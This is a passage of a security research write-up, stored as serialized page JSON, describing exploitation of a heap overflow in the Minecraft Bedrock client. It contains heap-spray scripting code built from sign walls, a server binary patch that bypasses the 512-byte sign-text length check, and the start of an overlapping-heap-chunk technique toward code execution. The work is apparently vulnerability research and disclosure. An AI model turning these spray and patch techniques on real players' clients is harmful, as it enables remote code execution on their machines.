for",{"type":26,"tag":217,"props":13178,"children":13179},{"style":7048},[13180],{"type":32,"value":7051},{"type":26,"tag":217,"props":13182,"children":13183},{"style":7154},[13184],{"type":32,"value":12470},{"type":26,"tag":217,"props":13186,"children":13187},{"style":7054},[13188],{"type":32,"value":13189}," current_x",{"type":26,"tag":217,"props":13191,"children":13192},{"style":7149},[13193],{"type":32,"value":8993},{"type":26,"tag":217,"props":13195,"children":13196},{"style":7130},[13197],{"type":32,"value":9922},{"type":26,"tag":217,"props":13199,"children":13200},{"style":7048},[13201],{"type":32,"value":13137},{"type":26,"tag":217,"props":13203,"children":13204},{"style":7054},[13205],{"type":32,"value":13206},"current_x",{"type":26,"tag":217,"props":13208,"children":13209},{"style":7149},[13210],{"type":32,"value":13147},{"type":26,"tag":217,"props":13212,"children":13213},{"style":7054},[13214],{"type":32,"value":13215}," WALL_WIDTH",{"type":26,"tag":217,"props":13217,"children":13218},{"style":7048},[13219],{"type":32,"value":13137},{"type":26,"tag":217,"props":13221,"children":13222},{"style":7054},[13223],{"type":32,"value":13206},{"type":26,"tag":217,"props":13225,"children":13226},{"style":7149},[13227],{"type":32,"value":11082},{"type":26,"tag":217,"props":13229,"children":13230},{"style":7048},[13231],{"type":32,"value":7618},{"type":26,"tag":217,"props":13233,"children":13234},{"class":7028,"line":7406},[13235],{"type":26,"tag":217,"props":13236,"children":13237},{"emptyLinePlaceholder":17},[13238],{"type":32,"value":7817},{"type":26,"tag":217,"props":13240,"children":13241},{"class":7028,"line":7439},[13242,13247,13252],{"type":26,"tag":217,"props":13243,"children":13244},{"style":7048},[13245],{"type":32,"value":13246},"            [",{"type":26,"tag":217,"props":13248,"children":13249},{"style":7149},[13250],{"type":32,"value":13251},"...",{"type":26,"tag":217,"props":13253,"children":13254},{"style":7048},[13255],{"type":32,"value":13256},"]\n",{"type":26,"tag":217,"props":13258,"children":13259},{"class":7028,"line":7487},[13260],{"type":26,"tag":217,"props":13261,"children":13262},{"style":7048},[13263],{"type":32,"value":13264},"            \n",{"type":26,"tag":217,"props":13266,"children":13267},{"class":7028,"line":7524},[13268,13272,13277,13281],{"type":26,"tag":217,"props":13269,"children":13270},{"style":7154},[13271],{"type":32,"value":7850},{"type":26,"tag":217,"props":13273,"children":13274},{"style":7054},[13275],{"type":32,"value":13276}," sign_block",{"type":26,"tag":217,"props":13278,"children":13279},{"style":7149},[13280],{"type":32,"value":8993},{"type":26,"tag":217,"props":13282,"children":13283},{"style":7054},[13284],{"type":32,"value":13285}," world\n",{"type":26,"tag":217,"props":13287,"children":13288},{"class":7028,"line":7553},[13289,13294,13299,13303,13308],{"type":26,"tag":217,"props":13290,"children":13291},{"style":7048},[13292],{"type":32,"value":13293},"                .",{"type":26,"tag":217,"props":13295,"children":13296},{"style":7064},[13297],{"type":32,"value":13298},"getDimension",{"type":26,"tag":217,"props":13300,"children":13301},{"style":7048},[13302],{"type":32,"value":1851},{"type":26,"tag":217,"props":13304,"children":13305},{"style":7338},[13306],{"type":32,"value":13307},"\"overworld\"",{"type":26,"tag":217,"props":13309,"children":13310},{"style":7048},[13311],{"type":32,"value":10025},{"type":26,"tag":217,"props":13313,"children":13314},{"class":7028,"line":7570},[13315,13319,13324,13328,13333],{"type":26,"tag":217,"props":13316,"children":13317},{"style":7048},[13318],{"type":32,"value":13293},{"type":26,"tag":217,"props":13320,"children":13321},{"style":7064},[13322],{"type":32,"value":13323},"getBlock",{"type":26,"tag":217,"props":13325,"children":13326},{"style":7048},[13327],{"type":32,"value":1851},{"type":26,"tag":217,"props":13329,"children":13330},{"style":7054},[13331],{"type":32,"value":13332},"sign_location",{"type":26,"tag":217,"props":13334,"children":13335},{"style":7048},[13336],{"type":32,"value":7669},{"type":26,"tag":217,"props":13338,"children":13339},{"class":7028,"line":7621},[13340,13345,13349,13353],{"type":26,"tag":217,"props":13341,"children":13342},{"style":7054},[13343],{"type":32,"value":13344},"            sign_block",{"type":26,"tag":217,"props":13346,"children":13347},{"style":7048},[13348],{"type":32,"value":180},{"type":26,"tag":217,"props":13350,"children":13351},{"style":7064},[13352],{"type":32,"value":12946},{"type":26,"tag":217,"props":13354,"children":13355},{"style":7048},[13356],{"type":32,"value":10932},{"type":26,"tag":217,"props":13358,"children":13359},{"class":7028,"line":7672},[13360,13365,13369,13373,13377,13382],{"type":26,"tag":217,"props":13361,"children":13362},{"style":7054},[13363],{"type":32,"value":13364},"                BlockPermutation",{"type":26,"tag":217,"props":13366,"children":13367},{"style":7048},[13368],{"type":32,"value":180},{"type":26,"tag":217,"props":13370,"children":13371},{"style":7064},[13372],{"type":32,"value":12967},{"type":26,"tag":217,"props":13374,"children":13375},{"style":7048},[13376],{"type":32,"value":1851},{"type":26,"tag":217,"props":13378,"children":13379},{"style":7338},[13380],{"type":32,"value":13381},"\"minecraft:wall_sign\"",{"type":26,"tag":217,"props":13383,"children":13384},{"style":7048},[13385],{"type":32,"value":13386},", {\n",{"type":26,"tag":217,"props":13388,"children":13389},{"class":7028,"line":7681},[13390,13395],{"type":26,"tag":217,"props":13391,"children":13392},{"style":7054},[13393],{"type":32,"value":13394},"                    facing_direction:",{"type":26,"tag":217,"props":13396,"children":13397},{"style":7130},[13398],{"type":32,"value":13399}," 3\n",{"type":26,"tag":217,"props":13401,"children":13402},{"class":7028,"line":7754},[13403],{"type":26,"tag":217,"props":13404,"children":13405},{"style":7048},[13406],{"type":32,"value":13407},"                }\n",{"type":26,"tag":217,"props":13409,"children":13410},{"class":7028,"line":7784},[13411],{"type":26,"tag":217,"props":13412,"children":13413},{"style":7048},[13414],{"type":32,"value":13415},"            ));\n",{"type":26,"tag":217,"props":13417,"children":13418},{"class":7028,"line":7802},[13419,13424,13429,13433],{"type":26,"tag":217,"props":13420,"children":13421},{"style":7154},[13422],{"type":32,"value":13423},"            let",{"type":26,"tag":217,"props":13425,"children":13426},{"style":7054},[13427],{"type":32,"value":13428}," sign_component",{"type":26,"tag":217,"props":13430,"children":13431},{"style":7149},[13432],{"type":32,"value":8993},{"type":26,"tag":217,"props":13434,"children":13435},{"style":7054},[13436],{"type":32,"value":13437}," sign_block\n",{"type":26,"tag":217,"props":13439,"children":13440},{"class":7028,"line":7811},[13441,13445,13450,13454,13459,13463,13468],{"type":26,"tag":217,"props":13442,"children":13443},{"style":7048},[13444],{"type":32,"value":13293},{"type":26,"tag":217,"props":13446,"children":13447},{"style":7064},[13448],{"type":32,"value":13449},"getComponent",{"type":26,"tag":217,"props":13451,"children":13452},{"style":7048},[13453],{"type":32,"value":1851},{"type":26,"tag":217,"props":13455,"children":13456},{"style":7054},[13457],{"type":32,"value":13458},"BlockComponentTypes",{"type":26,"tag":217,"props":13460,"children":13461},{"style":7048},[13462],{"type":32,"value":180},{"type":26,"tag":217,"props":13464,"children":13465},{"style":7054},[13466],{"type":32,"value":13467},"Sign",{"type":26,"tag":217,"props":13469,"children":13470},{"style":7048},[13471],{"type":32,"value":7669},{"type":26,"tag":217,"props":13473,"children":13474},{"class":7028,"line":7820},[13475],{"type":26,"tag":217,"props":13476,"children":13477},{"emptyLinePlaceholder":17},[13478],{"type":32,"value":7817},{"type":26,"tag":217,"props":13480,"children":13481},{"class":7028,"line":7844},[13482,13487,13491,13496],{"type":26,"tag":217,"props":13483,"children":13484},{"style":7054},[13485],{"type":32,"value":13486},"            signs",{"type":26,"tag":217,"props":13488,"children":13489},{"style":7048},[13490],{"type":32,"value":180},{"type":26,"tag":217,"props":13492,"children":13493},{"style":7064},[13494],{"type":32,"value":13495},"push",{"type":26,"tag":217,"props":13497,"children":13498},{"style":7048},[13499],{"type":32,"value":13500},"({\n",{"type":26,"tag":217,"props":13502,"children":13503},{"class":7028,"line":7910},[13504,13509,13513],{"type":26,"tag":217,"props":13505,"children":13506},{"style":7054},[13507],{"type":32,"value":13508},"                sign:",{"type":26,"tag":217,"props":13510,"children":13511},{"style":7054},[13512],{"type":32,"value":13428},{"type":26,"tag":217,"props":13514,"children":13515},{"style":7048},[13516],{"type":32,"value":10953},{"type":26,"tag":217,"props":13518,"children":13519},{"class":7028,"line":7954},[13520,13525,13529],{"type":26,"tag":217,"props":13521,"children":13522},{"style":7054},[13523],{"type":32,"value":13524},"                allocated:",{"type":26,"tag":217,"props":13526,"children":13527},{"style":7154},[13528],{"type":32,"value":7795},{"type":26,"tag":217,"props":13530,"children":13531},{"style":7048},[13532],{"type":32,"value":10953},{"type":26,"tag":217,"props":13534,"children":13535},{"class":7028,"line":7985},[13536,13541,13545],{"type":26,"tag":217,"props":13537,"children":13538},{"style":7054},[13539],{"type":32,"value":13540},"                block:",{"type":26,"tag":217,"props":13542,"children":13543},{"style":7054},[13544],{"type":32,"value":13276},{"type":26,"tag":217,"props":13546,"children":13547},{"style":7048},[13548],{"type":32,"value":10953},{"type":26,"tag":217,"props":13550,"children":13551},{"class":7028,"line":8027},[13552,13557],{"type":26,"tag":217,"props":13553,"children":13554},{"style":7054},[13555],{"type":32,"value":13556},"                removed:",{"type":26,"tag":217,"props":13558,"children":13559},{"style":7154},[13560],{"type":32,"value":13561}," false\n",{"type":26,"tag":217,"props":13563,"children":13564},{"class":7028,"line":8035},[13565],{"type":26,"tag":217,"props":13566,"children":13567},{"style":7048},[13568],{"type":32,"value":13569},"            });\n",{"type":26,"tag":217,"props":13571,"children":13572},{"class":7028,"line":8067},[13573],{"type":26,"tag":217,"props":13574,"children":13575},{"style":7048},[13576],{"type":32,"value":8722},{"type":26,"tag":217,"props":13578,"children":13579},{"class":7028,"line":8107},[13580],{"type":26,"tag":217,"props":13581,"children":13582},{"style":7048},[13583],{"type":32,"value":9754},{"type":26,"tag":217,"props":13585,"children":13586},{"class":7028,"line":8145},[13587],{"type":26,"tag":217,"props":13588,"children":13589},{"style":7048},[13590],{"type":32,"value":7184},{"type":26,"tag":217,"props":13592,"children":13593},{"class":7028,"line":8154},[13594],{"type":26,"tag":217,"props":13595,"children":13596},{"emptyLinePlaceholder":17},[13597],{"type":32,"value":7817},{"type":26,"tag":217,"props":13599,"children":13600},{"class":7028,"line":8162},[13601,13605,13610],{"type":26,"tag":217,"props":13602,"children":13603},{"style":7154},[13604],{"type":32,"value":7604},{"type":26,"tag":217,"props":13606,"children":13607},{"style":7064},[13608],{"type":32,"value":13609}," remove_wall",{"type":26,"tag":217,"props":13611,"children":13612},{"style":7048},[13613],{"type":32,"value":7841},{"type":26,"tag":217,"props":13615,"children":13616},{"class":7028,"line":8197},[13617,13621,13625],{"type":26,"tag":217,"props":13618,"children":13619},{"style":7054},[13620],{"type":32,"value":13088},{"type":26,"tag":217,"props":13622,"children":13623},{"style":7149},[13624],{"type":32,"value":8993},{"type":26,"tag":217,"props":13626,"children":13627},{"style":7048},[13628],{"type":32,"value":13097},{"type":26,"tag":217,"props":13630,"children":13631},{"class":7028,"line":8220},[13632],{"type":26,"tag":217,"props":13633,"children":13634},{"style":7048},[13635],{"type":32,"value":9890},{"type":26,"tag":217,"props":13637,"children":13638},{"class":7028,"line":8228},[13639,13643,13647,13651,13655,13659,13663,13667,13671,13675,13679,13683,13687,13691],{"type":26,"tag":217,"props":13640,"children":13641},{"style":7042},[13642],{"type":32,"value":12461},{"type":26,"tag":217,"props":13644,"children":13645},{"style":7048},[13646],{"type":32,"value":7051},{"type":26,"tag":217,"props":13648,"children":13649},{"style":7154},[13650],{"type":32,"value":12470},{"type":26,"tag":217,"props":13652,"children":13653},{"style":7054},[13654],{"type":32,"value":13124},{"type":26,"tag":217,"props":13656,"children":13657},{"style":7149},[13658],{"type":32,"value":8993},{"type":26,"tag":217,"props":13660,"children":13661},{"style":7130},[13662],{"type":32,"value":9922},{"type":26,"tag":217,"props":13664,"children":13665},{"style":7048},[13666],{"type":32,"value":13137},{"type":26,"tag":217,"props":13668,"children":13669},{"style":7054},[13670],{"type":32,"value":13142},{"type":26,"tag":217,"props":13672,"children":13673},{"style":7149},[13674],{"type":32,"value":13147},{"type":26,"tag":217,"props":13676,"children":13677},{"style":7054},[13678],{"type":32,"value":13152},{"type":26,"tag":217,"props":13680,"children":13681},{"style":7048},[13682],{"type":32,"value":13137},{"type":26,"tag":217,"props":13684,"children":13685},{"style":7054},[13686],{"type":32,"value":13142},{"type":26,"tag":217,"props":13688,"children":13689},{"style":7149},[13690],{"type":32,"value":11082},{"type":26,"tag":217,"props":13692,"children":13693},{"style":7048},[13694],{"type":32,"value":7618},{"type":26,"tag":217,"props":13696,"children":13697},{"class":7028,"line":8292},[13698,13702,13706,13710,13714,13718,13722,13726,13730,13734,13738,13742,13746,13750],{"type":26,"tag":217,"props":13699,"children":13700},{"style":7042},[13701],{"type":32,"value":13176},{"type":26,"tag":217,"props":13703,"children":13704},{"style":7048},[13705],{"type":32,"value":7051},{"type":26,"tag":217,"props":13707,"children":13708},{"style":7154},[13709],{"type":32,"value":12470},{"type":26,"tag":217,"props":13711,"children":13712},{"style":7054},[13713],{"type":32,"value":13189},{"type":26,"tag":217,"props":13715,"children":13716},{"style":7149},[13717],{"type":32,"value":8993},{"type":26,"tag":217,"props":13719,"children":13720},{"style":7130},[13721],{"type":32,"value":9922},{"type":26,"tag":217,"props":13723,"children":13724},{"style":7048},[13725],{"type":32,"value":13137},{"type":26,"tag":217,"props":13727,"children":13728},{"style":7054},[13729],{"type":32,"value":13206},{"type":26,"tag":217,"props":13731,"children":13732},{"style":7149},[13733],{"type":32,"value":13147},{"type":26,"tag":217,"props":13735,"children":13736},{"style":7054},[13737],{"type":32,"value":13215},{"type":26,"tag":217,"props":13739,"children":13740},{"style":7048},[13741],{"type":32,"value":13137},{"type":26,"tag":217,"props":13743,"children":13744},{"style":7054},[13745],{"type":32,"value":13206},{"type":26,"tag":217,"props":13747,"children":13748},{"style":7149},[13749],{"type":32,"value":11082},{"type":26,"tag":217,"props":13751,"children":13752},{"style":7048},[13753],{"type":32,"value":7618},{"type":26,"tag":217,"props":13755,"children":13756},{"class":7028,"line":8351},[13757],{"type":26,"tag":217,"props":13758,"children":13759},{"style":7048},[13760],{"type":32,"value":13264},{"type":26,"tag":217,"props":13762,"children":13763},{"class":7028,"line":8391},[13764,13768,13772],{"type":26,"tag":217,"props":13765,"children":13766},{"style":7048},[13767],{"type":32,"value":13246},{"type":26,"tag":217,"props":13769,"children":13770},{"style":7149},[13771],{"type":32,"value":13251},{"type":26,"tag":217,"props":13773,"children":13774},{"style":7048},[13775],{"type":32,"value":13256},{"type":26,"tag":217,"props":13777,"children":13778},{"class":7028,"line":8439},[13779],{"type":26,"tag":217,"props":13780,"children":13781},{"style":7048},[13782],{"type":32,"value":13783},"             \n",{"type":26,"tag":217,"props":13785,"children":13786},{"class":7028,"line":8448},[13787,13791,13795,13799,13804,13809],{"type":26,"tag":217,"props":13788,"children":13789},{"style":7154},[13790],{"type":32,"value":7850},{"type":26,"tag":217,"props":13792,"children":13793},{"style":7054},[13794],{"type":32,"value":13276},{"type":26,"tag":217,"props":13796,"children":13797},{"style":7149},[13798],{"type":32,"value":8993},{"type":26,"tag":217,"props":13800,"children":13801},{"style":7042},[13802],{"type":32,"value":13803}," await",{"type":26,"tag":217,"props":13805,"children":13806},{"style":7064},[13807],{"type":32,"value":13808}," wait_for_block",{"type":26,"tag":217,"props":13810,"children":13811},{"style":7048},[13812],{"type":32,"value":10932},{"type":26,"tag":217,"props":13814,"children":13815},{"class":7028,"line":8456},[13816,13821,13825,13829,13833,13837],{"type":26,"tag":217,"props":13817,"children":13818},{"style":7054},[13819],{"type":32,"value":13820},"                world",{"type":26,"tag":217,"props":13822,"children":13823},{"style":7048},[13824],{"type":32,"value":180},{"type":26,"tag":217,"props":13826,"children":13827},{"style":7064},[13828],{"type":32,"value":13298},{"type":26,"tag":217,"props":13830,"children":13831},{"style":7048},[13832],{"type":32,"value":1851},{"type":26,"tag":217,"props":13834,"children":13835},{"style":7338},[13836],{"type":32,"value":13307},{"type":26,"tag":217,"props":13838,"children":13839},{"style":7048},[13840],{"type":32,"value":13841},"),\n",{"type":26,"tag":217,"props":13843,"children":13844},{"class":7028,"line":8500},[13845],{"type":26,"tag":217,"props":13846,"children":13847},{"style":7054},[13848],{"type":32,"value":13849},"                sign_location\n",{"type":26,"tag":217,"props":13851,"children":13852},{"class":7028,"line":8535},[13853],{"type":26,"tag":217,"props":13854,"children":13855},{"style":7048},[13856],{"type":32,"value":13857},"            );\n",{"type":26,"tag":217,"props":13859,"children":13860},{"class":7028,"line":8664},[13861,13865,13869,13873],{"type":26,"tag":217,"props":13862,"children":13863},{"style":7054},[13864],{"type":32,"value":13344},{"type":26,"tag":217,"props":13866,"children":13867},{"style":7048},[13868],{"type":32,"value":180},{"type":26,"tag":217,"props":13870,"children":13871},{"style":7064},[13872],{"type":32,"value":12946},{"type":26,"tag":217,"props":13874,"children":13875},{"style":7048},[13876],{"type":32,"value":10932},{"type":26,"tag":217,"props":13878,"children":13879},{"class":7028,"line":8700},[13880,13884,13888,13892,13896,13900],{"type":26,"tag":217,"props":13881,"children":13882},{"style":7054},[13883],{"type":32,"value":13364},{"type":26,"tag":217,"props":13885,"children":13886},{"style":7048},[13887],{"type":32,"value":180},{"type":26,"tag":217,"props":13889,"children":13890},{"style":7064},[13891],{"type":32,"value":12967},{"type":26,"tag":217,"props":13893,"children":13894},{"style":7048},[13895],{"type":32,"value":1851},{"type":26,"tag":217,"props":13897,"children":13898},{"style":7338},[13899],{"type":32,"value":12976},{"type":26,"tag":217,"props":13901,"children":13902},{"style":7048},[13903],{"type":32,"value":10025},{"type":26,"tag":217,"props":13905,"children":13906},{"class":7028,"line":8708},[13907],{"type":26,"tag":217,"props":13908,"children":13909},{"style":7048},[13910],{"type":32,"value":13857},{"type":26,"tag":217,"props":13912,"children":13913},{"class":7028,"line":8716},[13914],{"type":26,"tag":217,"props":13915,"children":13916},{"emptyLinePlaceholder":17},[13917],{"type":32,"value":7817},{"type":26,"tag":217,"props":13919,"children":13920},{"class":7028,"line":8725},[13921,13925,13929],{"type":26,"tag":217,"props":13922,"children":13923},{"style":7048},[13924],{"type":32,"value":13246},{"type":26,"tag":217,"props":13926,"children":13927},{"style":7149},[13928],{"type":32,"value":13251},{"type":26,"tag":217,"props":13930,"children":13931},{"style":7048},[13932],{"type":32,"value":13256},{"type":26,"tag":217,"props":13934,"children":13935},{"class":7028,"line":8738},[13936],{"type":26,"tag":217,"props":13937,"children":13938},{"style":7048},[13939],{"type":32,"value":8722},{"type":26,"tag":217,"props":13941,"children":13942},{"class":7028,"line":8755},[13943],{"type":26,"tag":217,"props":13944,"children":13945},{"style":7048},[13946],{"type":32,"value":9754},{"type":26,"tag":217,"props":13948,"children":13949},{"class":7028,"line":8771},[13950],{"type":26,"tag":217,"props":13951,"children":13952},{"style":7048},[13953],{"type":32,"value":7184},{"type":26,"tag":217,"props":13955,"children":13957},{"class":7028,"line":13956},52,[13958],{"type":26,"tag":217,"props":13959,"children":13960},{"emptyLinePlaceholder":17},[13961],{"type":32,"value":7817},{"type":26,"tag":217,"props":13963,"children":13965},{"class":7028,"line":13964},53,[13966,13971,13975,13980,13984,13989,13993,13998,14002,14007,14011,14015],{"type":26,"tag":217,"props":13967,"children":13968},{"style":7054},[13969],{"type":32,"value":13970},"world",{"type":26,"tag":217,"props":13972,"children":13973},{"style":7048},[13974],{"type":32,"value":180},{"type":26,"tag":217,"props":13976,"children":13977},{"style":7054},[13978],{"type":32,"value":13979},"afterEvents",{"type":26,"tag":217,"props":13981,"children":13982},{"style":7048},[13983],{"type":32,"value":180},{"type":26,"tag":217,"props":13985,"children":13986},{"style":7054},[13987],{"type":32,"value":13988},"playerSpawn",{"type":26,"tag":217,"props":13990,"children":13991},{"style":7048},[13992],{"type":32,"value":180},{"type":26,"tag":217,"props":13994,"children":13995},{"style":7064},[13996],{"type":32,"value":13997},"subscribe",{"type":26,"tag":217,"props":13999,"children":14000},{"style":7048},[14001],{"type":32,"value":8370},{"type":26,"tag":217,"props":14003,"children":14004},{"style":7054},[14005],{"type":32,"value":14006},"arg",{"type":26,"tag":217,"props":14008,"children":14009},{"style":7048},[14010],{"type":32,"value":8380},{"type":26,"tag":217,"props":14012,"children":14013},{"style":7154},[14014],{"type":32,"value":8059},{"type":26,"tag":217,"props":14016,"children":14017},{"style":7048},[14018],{"type":32,"value":8064},{"type":26,"tag":217,"props":14020,"children":14022},{"class":7028,"line":14021},54,[14023,14028],{"type":26,"tag":217,"props":14024,"children":14025},{"style":7064},[14026],{"type":32,"value":14027},"    create_wall",{"type":26,"tag":217,"props":14029,"children":14030},{"style":7048},[14031],{"type":32,"value":8217},{"type":26,"tag":217,"props":14033,"children":14035},{"class":7028,"line":14034},55,[14036],{"type":26,"tag":217,"props":14037,"children":14038},{"style":7048},[14039],{"type":32,"value":14040},"});\n",{"type":26,"tag":217,"props":14042,"children":14044},{"class":7028,"line":14043},56,[14045],{"type":26,"tag":217,"props":14046,"children":14047},{"emptyLinePlaceholder":17},[14048],{"type":32,"value":7817},{"type":26,"tag":217,"props":14050,"children":14052},{"class":7028,"line":14051},57,[14053,14057,14061,14066,14070,14075,14079,14083,14087,14092,14096,14100,14104,14108],{"type":26,"tag":217,"props":14054,"children":14055},{"style":7054},[14056],{"type":32,"value":13970},{"type":26,"tag":217,"props":14058,"children":14059},{"style":7048},[14060],{"type":32,"value":180},{"type":26,"tag":217,"props":14062,"children":14063},{"style":7054},[14064],{"type":32,"value":14065},"beforeEvents",{"type":26,"tag":217,"props":14067,"children":14068},{"style":7048},[14069],{"type":32,"value":180},{"type":26,"tag":217,"props":14071,"children":14072},{"style":7054},[14073],{"type":32,"value":14074},"playerLeave",{"type":26,"tag":217,"props":14076,"children":14077},{"style":7048},[14078],{"type":32,"value":180},{"type":26,"tag":217,"props":14080,"children":14081},{"style":7064},[14082],{"type":32,"value":13997},{"type":26,"tag":217,"props":14084,"children":14085},{"style":7048},[14086],{"type":32,"value":1851},{"type":26,"tag":217,"props":14088,"children":14089},{"style":7154},[14090],{"type":32,"value":14091},"async",{"type":26,"tag":217,"props":14093,"children":14094},{"style":7048},[14095],{"type":32,"value":7051},{"type":26,"tag":217,"props":14097,"children":14098},{"style":7054},[14099],{"type":32,"value":14006},{"type":26,"tag":217,"props":14101,"children":14102},{"style":7048},[14103],{"type":32,"value":8380},{"type":26,"tag":217,"props":14105,"children":14106},{"style":7154},[14107],{"type":32,"value":8059},{"type":26,"tag":217,"props":14109,"children":14110},{"style":7048},[14111],{"type":32,"value":8064},{"type":26,"tag":217,"props":14113,"children":14115},{"class":7028,"line":14114},58,[14116,14121],{"type":26,"tag":217,"props":14117,"children":14118},{"style":7064},[14119],{"type":32,"value":14120},"    remove_wall",{"type":26,"tag":217,"props":14122,"children":14123},{"style":7048},[14124],{"type":32,"value":8217},{"type":26,"tag":217,"props":14126,"children":14128},{"class":7028,"line":14127},59,[14129],{"type":26,"tag":217,"props":14130,"children":14131},{"style":7048},[14132],{"type":32,"value":14040},{"type":26,"tag":39,"props":14134,"children":14135},{},[14136],{"type":32,"value":14137},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":26,"tag":39,"props":14139,"children":14140},{},[14141],{"type":26,"tag":6468,"props":14142,"children":14145},{"alt":14143,"src":14144},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":26,"tag":39,"props":14147,"children":14148},{},[14149],{"type":32,"value":14150},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":26,"tag":631,"props":14152,"children":14154},{"id":14153},"a-small-roadblock",[14155],{"type":32,"value":14156},"A Small Roadblock",{"type":26,"tag":39,"props":14158,"children":14159},{},[14160],{"type":32,"value":14161},"While testing our heap spray method, we encountered the following error:",{"type":26,"tag":207,"props":14163,"children":14165},{"code":14164},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[14166],{"type":26,"tag":83,"props":14167,"children":14168},{"__ignoreMap":8},[14169],{"type":32,"value":14164},{"type":26,"tag":39,"props":14171,"children":14172},{},[14173,14175,14181],{"type":32,"value":14174},"An error is thrown by the server executable while trying to assign text longer than ",{"type":26,"tag":83,"props":14176,"children":14178},{"className":14177},[],[14179],{"type":32,"value":14180},"512",{"type":32,"value":14182}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":26,"tag":39,"props":14184,"children":14185},{},[14186],{"type":32,"value":14187},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":26,"tag":39,"props":14189,"children":14190},{},[14191],{"type":32,"value":14192},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":26,"tag":39,"props":14194,"children":14195},{},[14196],{"type":26,"tag":6468,"props":14197,"children":14199},{"alt":9464,"src":14198},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":26,"tag":39,"props":14201,"children":14202},{},[14203,14205,14211],{"type":32,"value":14204},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":26,"tag":83,"props":14206,"children":14208},{"className":14207},[],[14209],{"type":32,"value":14210},"string_length \u003C= 512",{"type":32,"value":14212}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":26,"tag":39,"props":14214,"children":14215},{},[14216],{"type":32,"value":14217},"The disassembly of the comparison looks like this:",{"type":26,"tag":39,"props":14219,"children":14220},{},[14221],{"type":26,"tag":6468,"props":14222,"children":14224},{"alt":9464,"src":14223},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":26,"tag":39,"props":14226,"children":14227},{},[14228,14230,14236,14238,14244,14245,14250,14252,14258,14260,14266,14268,14273,14275,14280],{"type":32,"value":14229},"The code compares ",{"type":26,"tag":83,"props":14231,"children":14233},{"className":14232},[],[14234],{"type":32,"value":14235},"rax",{"type":32,"value":14237}," (the string length) to ",{"type":26,"tag":83,"props":14239,"children":14241},{"className":14240},[],[14242],{"type":32,"value":14243},"0x200",{"type":32,"value":7051},{"type":26,"tag":83,"props":14246,"children":14248},{"className":14247},[],[14249],{"type":32,"value":14180},{"type":32,"value":14251}," decimal). It then performs a ",{"type":26,"tag":83,"props":14253,"children":14255},{"className":14254},[],[14256],{"type":32,"value":14257},"jbe",{"type":32,"value":14259},", jumping to address ",{"type":26,"tag":83,"props":14261,"children":14263},{"className":14262},[],[14264],{"type":32,"value":14265},"0x14275114c",{"type":32,"value":14267}," if ",{"type":26,"tag":83,"props":14269,"children":14271},{"className":14270},[],[14272],{"type":32,"value":14235},{"type":32,"value":14274}," is less than or equal to ",{"type":26,"tag":83,"props":14276,"children":14278},{"className":14277},[],[14279],{"type":32,"value":14180},{"type":32,"value":14281},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":26,"tag":39,"props":14283,"children":14284},{},[14285,14287,14292,14294,14300],{"type":32,"value":14286},"To force execution down this path, we patched the ",{"type":26,"tag":83,"props":14288,"children":14290},{"className":14289},[],[14291],{"type":32,"value":14257},{"type":32,"value":14293}," instruction to an unconditional ",{"type":26,"tag":83,"props":14295,"children":14297},{"className":14296},[],[14298],{"type":32,"value":14299},"jmp",{"type":32,"value":14301},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":26,"tag":39,"props":14303,"children":14304},{},[14305],{"type":26,"tag":6468,"props":14306,"children":14308},{"alt":9464,"src":14307},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":26,"tag":39,"props":14310,"children":14311},{},[14312,14314,14319,14321,14327],{"type":32,"value":14313},"After patching the server and calling ",{"type":26,"tag":83,"props":14315,"children":14317},{"className":14316},[],[14318],{"type":32,"value":12384},{"type":32,"value":14320}," with a size of ",{"type":26,"tag":83,"props":14322,"children":14324},{"className":14323},[],[14325],{"type":32,"value":14326},"1024",{"type":32,"value":14328},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":26,"tag":39,"props":14330,"children":14331},{},[14332],{"type":26,"tag":6468,"props":14333,"children":14335},{"alt":9464,"src":14334},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":26,"tag":11933,"props":14337,"children":14338},{},[],{"type":26,"tag":39,"props":14340,"children":14341},{},[14342],{"type":32,"value":14343},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":26,"tag":39,"props":14345,"children":14346},{},[14347],{"type":32,"value":14348},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":26,"tag":607,"props":14350,"children":14352},{"id":14351},"overlapping-heap-chunks",[14353],{"type":32,"value":14354},"Overlapping Heap Chunks",{"type":26,"tag":39,"props":14356,"children":14357},{},[14358,14360,14365],{"type":32,"value":14359},"The attack is described in detail in the referenced blog post (",{"type":26,"tag":163,"props":14361,"children":14363},{"href":12119,"rel":14362},[167],[14364],{"type":32,"value":8807},{"type":32,"value":14366},"), so we will present a high-level overview.",{"type":26,"tag":39,"props":14368,"children":14369},{},[14370,14372,14378],{"type":32,"value":14371},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":26,"tag":83,"props":14373,"children":14375},{"className":14374},[],[14376],{"type":32,"value":14377},"_HEAP_VS_CHUNK_HEADER",{"type":32,"value":14379}," structure layout is required:",{"type":26,"tag":207,"props":14381,"children":14383},{"code":14382},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 